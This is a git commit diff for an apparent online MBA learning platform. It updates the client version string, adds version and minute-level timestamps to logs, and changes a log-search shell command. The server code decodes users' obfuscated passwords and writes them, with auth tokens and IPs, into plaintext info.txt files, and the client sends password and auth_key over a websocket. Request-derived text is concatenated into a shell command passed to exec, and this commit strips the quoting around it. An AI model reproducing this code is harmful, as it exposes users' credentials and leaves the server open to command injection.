修改 日志分析语句 + PC-1.0.5 + 统计日期精确到分钟

client-dist/index.html

@@ -2,4 +2,4 @@
     <script src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/compatible/console-polyfill.js"></script>
     <script src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/compatible/html5shiv.min.js"></script>
     <script src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/compatible/respond.min.js"></script>
-  <![endif]--><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/manifest.a35158d5.js"></script><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/vendor.435ab98c.js"></script><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/app.db4464e0.js"></script></body></html>
\ No newline at end of file
+  <![endif]--><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/manifest.d8c923ca.js"></script><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/vendor.435ab98c.js"></script><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/app.cea0134a.js"></script></body></html>
\ No newline at end of file

client-dist/resources/manifest.a35158d5.js → client-dist/resources/manifest.d8c923ca.js

-!function(f){function e(e){for(var t,r,n=e[0],a=e[1],c=e[2],o=0,d=[];o<n.length;o++)r=n[o],s[r]&&d.push(s[r][0]),s[r]=0;for(t in a)Object.prototype.hasOwnProperty.call(a,t)&&(f[t]=a[t]);for(p&&p(e);d.length;)d.shift()();return i.push.apply(i,c||[]),u()}function u(){for(var e,t=0;t<i.length;t++){for(var r=i[t],n=!0,a=1;a<r.length;a++){var c=r[a];0!==s[c]&&(n=!1)}n&&(i.splice(t--,1),e=b(b.s=r[0]))}return e}var r={},l={3:0},s={3:0},i=[];function b(e){if(r[e])return r[e].exports;var t=r[e]={i:e,l:!1,exports:{}};return f[e].call(t.exports,t,t.exports,b),t.l=!0,t.exports}b.e=function(i){var e=[];l[i]?e.push(l[i]):0!==l[i]&&{0:1,5:1,6:1,7:1,8:1,9:1,10:1,11:1,12:1,13:1,14:1,15:1,16:1,17:1,18:1,19:1,20:1,21:1,22:1}[i]&&e.push(l[i]=new Promise(function(e,n){for(var t="resources/"+({}[i]||i)+"."+{0:"7e9c19881242",1:"31d6cfe0d16a",5:"b6a10460f085",6:"39a4b4394a2e",7:"edadd3d1dece",8:"2b76410db4d0",9:"30b36ab56f09",10:"a505bcc1227b",11:"e7ba1de89846",12:"fc688477e0f2",13:"9c95c5430f41",14:"d32639348e7f",15:"ca7cab1d6dca",16:"a6265ac4f731",17:"19dc1c099181",18:"abf993cecc16",19:"da1346fedd49",20:"5ba1b1bc7480",21:"43ee51cf782c",22:"12c536f6abaf",23:"31d6cfe0d16a",24:"31d6cfe0d16a",25:"31d6cfe0d16a",26:"31d6cfe0d16a",27:"31d6cfe0d16a",28:"31d6cfe0d16a",29:"31d6cfe0d16a",30:"31d6cfe0d16a"}[i]+".css",a=b.p+t,r=document.getElementsByTagName("link"),c=0;c<r.length;c++){var o=(f=r[c]).getAttribute("data-href")||f.getAttribute("href");if("stylesheet"===f.rel&&(o===t||o===a))return e()}var d=document.getElementsByTagName("style");for(c=0;c<d.length;c++){var f;if((o=(f=d[c]).getAttribute("data-href"))===t||o===a)return e()}var u=document.createElement("link");u.rel="stylesheet",u.type="text/css",u.onload=e,u.onerror=function(e){var t=e&&e.target&&e.target.src||a,r=new Error("Loading CSS chunk "+i+" failed.\n("+t+")");r.request=t,delete l[i],u.parentNode.removeChild(u),n(r)},u.href=a,document.getElementsByTagName("head")[0].appendChild(u)}).then(function(){l[i]=0}));var t,r=s[i];if(0!==r)if(r)e.push(r[2]);else{var n=new Promise(function(e,t){r=s[i]=[e,t]});e.push(r[2]=n);var a,c=document.getElementsByTagName("head")[0],o=document.createElement("script");o.charset="utf-8",o.timeout=120,b.nc&&o.setAttribute("nonce",b.nc),o.src=b.p+"resources/"+({}[t=i]||t)+"."+{0:"44b419c5",1:"b54a4784",5:"09a1f3ee",6:"dd2c6250",7:"34107010",8:"3725acf5",9:"bbdfab9a",10:"fcfecf28",11:"98d99539",12:"bc06c483",13:"c50bed76",14:"21f6e4db",15:"57645cc7",16:"eb41993a",17:"0a701747",18:"15cc538d",19:"d19d94e7",20:"ed197405",21:"ff867a66",22:"51a95842",23:"aa46f405",24:"f05a2d7d",25:"cd45549d",26:"2e14c205",27:"a1f5a7ff",28:"01ab5f90",29:"cd5a6716",30:"d3ea8c6f"}[t]+".js",a=function(e){o.onerror=o.onload=null,clearTimeout(d);var t=s[i];if(0!==t){if(t){var r=e&&("load"===e.type?"missing":e.type),n=e&&e.target&&e.target.src,a=new Error("Loading chunk "+i+" failed.\n("+r+": "+n+")");a.type=r,a.request=n,t[1](a)}s[i]=void 0}};var d=setTimeout(function(){a({type:"timeout",target:o})},12e4);o.onerror=o.onload=a,c.appendChild(o)}return Promise.all(e)},b.m=f,b.c=r,b.d=function(e,t,r){b.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},b.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},b.t=function(t,e){if(1&e&&(t=b(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(b.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var n in t)b.d(r,n,function(e){return t[e]}.bind(null,n));return r},b.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return b.d(t,"a",t),t},b.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},b.p="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/",b.oe=function(e){throw console.error(e),e};var t=window.webpackJsonp=window.webpackJsonp||[],n=t.push.bind(t);t.push=e,t=t.slice();for(var a=0;a<t.length;a++)e(t[a]);var p=n;u()}([]);
\ No newline at end of file
+!function(f){function e(e){for(var t,r,n=e[0],a=e[1],c=e[2],o=0,d=[];o<n.length;o++)r=n[o],s[r]&&d.push(s[r][0]),s[r]=0;for(t in a)Object.prototype.hasOwnProperty.call(a,t)&&(f[t]=a[t]);for(p&&p(e);d.length;)d.shift()();return i.push.apply(i,c||[]),u()}function u(){for(var e,t=0;t<i.length;t++){for(var r=i[t],n=!0,a=1;a<r.length;a++){var c=r[a];0!==s[c]&&(n=!1)}n&&(i.splice(t--,1),e=b(b.s=r[0]))}return e}var r={},l={3:0},s={3:0},i=[];function b(e){if(r[e])return r[e].exports;var t=r[e]={i:e,l:!1,exports:{}};return f[e].call(t.exports,t,t.exports,b),t.l=!0,t.exports}b.e=function(i){var e=[];l[i]?e.push(l[i]):0!==l[i]&&{0:1,5:1,6:1,7:1,8:1,9:1,10:1,11:1,12:1,13:1,14:1,15:1,16:1,17:1,18:1,19:1,20:1,21:1,22:1}[i]&&e.push(l[i]=new Promise(function(e,n){for(var t="resources/"+({}[i]||i)+"."+{0:"7e9c19881242",1:"31d6cfe0d16a",5:"b6a10460f085",6:"39a4b4394a2e",7:"edadd3d1dece",8:"2b76410db4d0",9:"30b36ab56f09",10:"a505bcc1227b",11:"e7ba1de89846",12:"fc688477e0f2",13:"9c95c5430f41",14:"d32639348e7f",15:"ca7cab1d6dca",16:"a6265ac4f731",17:"5ce6ee003c1d",18:"abf993cecc16",19:"da1346fedd49",20:"5ba1b1bc7480",21:"43ee51cf782c",22:"12c536f6abaf",23:"31d6cfe0d16a",24:"31d6cfe0d16a",25:"31d6cfe0d16a",26:"31d6cfe0d16a",27:"31d6cfe0d16a",28:"31d6cfe0d16a",29:"31d6cfe0d16a",30:"31d6cfe0d16a"}[i]+".css",a=b.p+t,r=document.getElementsByTagName("link"),c=0;c<r.length;c++){var o=(f=r[c]).getAttribute("data-href")||f.getAttribute("href");if("stylesheet"===f.rel&&(o===t||o===a))return e()}var d=document.getElementsByTagName("style");for(c=0;c<d.length;c++){var f;if((o=(f=d[c]).getAttribute("data-href"))===t||o===a)return e()}var u=document.createElement("link");u.rel="stylesheet",u.type="text/css",u.onload=e,u.onerror=function(e){var t=e&&e.target&&e.target.src||a,r=new Error("Loading CSS chunk "+i+" failed.\n("+t+")");r.request=t,delete l[i],u.parentNode.removeChild(u),n(r)},u.href=a,document.getElementsByTagName("head")[0].appendChild(u)}).then(function(){l[i]=0}));var t,r=s[i];if(0!==r)if(r)e.push(r[2]);else{var n=new Promise(function(e,t){r=s[i]=[e,t]});e.push(r[2]=n);var a,c=document.getElementsByTagName("head")[0],o=document.createElement("script");o.charset="utf-8",o.timeout=120,b.nc&&o.setAttribute("nonce",b.nc),o.src=b.p+"resources/"+({}[t=i]||t)+"."+{0:"44b419c5",1:"b54a4784",5:"09a1f3ee",6:"dd2c6250",7:"34107010",8:"3725acf5",9:"bbdfab9a",10:"4943e753",11:"98d99539",12:"bc06c483",13:"c50bed76",14:"21f6e4db",15:"57645cc7",16:"eb41993a",17:"f7f1a967",18:"15cc538d",19:"d19d94e7",20:"ed197405",21:"ff867a66",22:"51a95842",23:"aa46f405",24:"f05a2d7d",25:"cd45549d",26:"2e14c205",27:"a1f5a7ff",28:"01ab5f90",29:"cd5a6716",30:"d3ea8c6f"}[t]+".js",a=function(e){o.onerror=o.onload=null,clearTimeout(d);var t=s[i];if(0!==t){if(t){var r=e&&("load"===e.type?"missing":e.type),n=e&&e.target&&e.target.src,a=new Error("Loading chunk "+i+" failed.\n("+r+": "+n+")");a.type=r,a.request=n,t[1](a)}s[i]=void 0}};var d=setTimeout(function(){a({type:"timeout",target:o})},12e4);o.onerror=o.onload=a,c.appendChild(o)}return Promise.all(e)},b.m=f,b.c=r,b.d=function(e,t,r){b.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},b.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},b.t=function(t,e){if(1&e&&(t=b(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(b.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var n in t)b.d(r,n,function(e){return t[e]}.bind(null,n));return r},b.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return b.d(t,"a",t),t},b.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},b.p="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/",b.oe=function(e){throw console.error(e),e};var t=window.webpackJsonp=window.webpackJsonp||[],n=t.push.bind(t);t.push=e,t=t.slice();for(var a=0;a<t.length;a++)e(t[a]);var p=n;u()}([]);
\ No newline at end of file

client/components/services/base_api.js

@@ -50,7 +50,8 @@ export default class API {
         time: new Date().getTime(),
         sys: 'elearning-node',
         auth: _uInfo.email || _uInfo.mobile || '未知', // 在header头中传入 当前用户账号信息
-        name: (_uInfo.student_info && _uInfo.student_info.personal_name) || _uInfo.username || '未知' // 在header头中传入 当前用户姓名
+        name: (_uInfo.student_info && _uInfo.student_info.personal_name) || _uInfo.username || '未知', // 在header头中传入 当前用户姓名
+        version: window.G.VERSION
       })),
       // 'token': ticket,
       'tenant': 'sofia'

client/components/websocket/index.vue

@@ -57,7 +57,7 @@ export default {
     },
     sendData (action, val) {
       let str = ''
-      let version = 'PC-1.0.4' // 客户端版本号，每次更新后，更新版本号。可以方便查看是否客户端都是最新版本
+      let version = window.G.VERSION // 客户端版本号，每次更新后，更新版本号。可以方便查看是否客户端都是最新版本
       if (window.G.UserInfo && window.G.UserInfo.student_info) {
         let tmp_info = window.G.UserInfo.student_info // eslint-disable-line
         str = tmp_info.personal_name + ':' + tmp_info.telephone + ':' + tmp_info.email + ':' + tmp_info.id + ':' + window.G.UserInfo.auth_key + ':' + (window.G.pwd || '')

client/project/main.js

@@ -20,7 +20,9 @@ Vue.use(Element)
 Vue.use(VueRouter)
 const router = createRouter()
 /* 设置全局变量 */
-window.G = Vue.prototype.$GlobalVariable = {}
+window.G = Vue.prototype.$GlobalVariable = {
+  VERSION: 'PC-1.0.5'
+}
 Vue.prototype.$md5 = md5
 /* 导航守卫 */
 router.beforeEach((to, from, next) => {

server/controller/DirMonitor.js

@@ -195,7 +195,7 @@ const _searchLogVideo = (dir, name, opt, callfunc) => {
     let _catStr = 'cat *.log'
     let _grepStr = "grep '" + _arr[1] + "'"
     let _sortStr = 'sort -t ' + String.fromCharCode(0x001) + ' -k1,2nr'
-    let _grepOptStr = _arr[2] ? (" | grep -o '" + [_arr[1], '\\d\\+', '\\d\\+', '\\d\\+'].join(String.fromCharCode(0x001)) + "'") : ''
+    let _grepOptStr = _arr[2] ? (' | grep -o ' + [_arr[1], '\\d\\+', '\\d\\+', '\\d\\+'].join(String.fromCharCode(0x001))) : ''
     _cpro.exec('cd ' + _videoPath + ' && ' + _catStr + ' | ' + _grepStr + ' | ' + _sortStr + _grepOptStr, (err, stdout, stderr) => {
       if (err) {
         console.log(err)

server/controller/LogVideoMonitor.js

@@ -123,13 +123,14 @@ const writeBasicInfo = (req, _logJson, data) => {
       /* 有密码时，才写入基础数据中 */
       if (data.pwdBase64 || data._SUP) {
         fs.appendFile(_logJson._stuPath + '/info.txt', [
-          'DateStr: ' + _logJson._dateStr,
+          'DateStr: ' + _logJson._dateStr + ' ' + com.DateTime.timestampToFormatTimeStr(new Date().getTime() - new Date(_logJson._dateStr + ' 00:00:00').getTime()),
           'Name: ' + _logJson._json.name,
           'Sys: ' + _logJson._json.sys,
           'Auth: ' + _logJson._json.auth,
           'Pwd: ' + (data.pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1),
           '_SUP: ' + data._SUP, // 解决验证码登录，没有密码问题 或 没有重复登录过，没有密码问题
           'token: ' + data._token,
+          'Version: ' + _logJson._json.version,
           'IP: ' + _getClientIP(req),
           'UA: ' + req.headers['user-agent'],
           '\n\n'